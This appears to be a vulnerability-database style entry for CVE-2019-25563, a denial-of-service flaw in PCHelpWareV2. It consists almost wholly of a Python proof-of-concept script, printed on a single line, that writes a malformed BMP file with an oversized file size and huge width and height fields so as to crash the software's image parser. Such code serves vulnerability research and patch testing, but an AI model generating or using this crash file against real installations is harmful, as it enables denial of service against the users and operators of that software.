CVE-2019-25563 PCHelpWareV2拒绝服务漏洞

import struct # Create a malformed BMP file to trigger the DoS vulnerability def create_malformed_bmp(filename): with open(filename, 'wb') as f: # BMP Header (14 bytes) f.write(b'BM') # Signature # File size: Set to a very large value to confuse the parser f.write(struct.pack('<I', 0xFFFFFFFF)) f.write(struct.pack('<I', 0)) # Reserved f.write(struct.pack('<I', 0x36)) # Offset to pixel data # DIB Header (BITMAPINFOHEADER) - 40 bytes f.write(struct.pack('<I', 40)) # Header size # Width: Set to an extremely large value to cause buffer overflow f.write(struct.pack('<I', 0xFFFFFFF)) # Height: Set to an extremely large value f.write(struct.pack('<I', 0xFFFFFFF)) f.write(struct.pack('<H', 1)) # Planes f.write(struct.pack('<H', 24)) # Bits per pixel f.write(struct.pack('<I', 0)) # Compression f.write(struct.pack('<I', 0)) # Image size (can be 0 for RGB uncompressed) f.write(struct.pack('<I', 0)) # X pixels per meter f.write(struct.pack('<I', 0)) # Y pixels per meter f.write(struct.pack('<I', 0)) # Colors used f.write(struct.pack('<I', 0)) # Important colors print(f"Malformed BMP file created: {filename}") if __name__ == "__main__": create_malformed_bmp("crash_pchw2.bmp")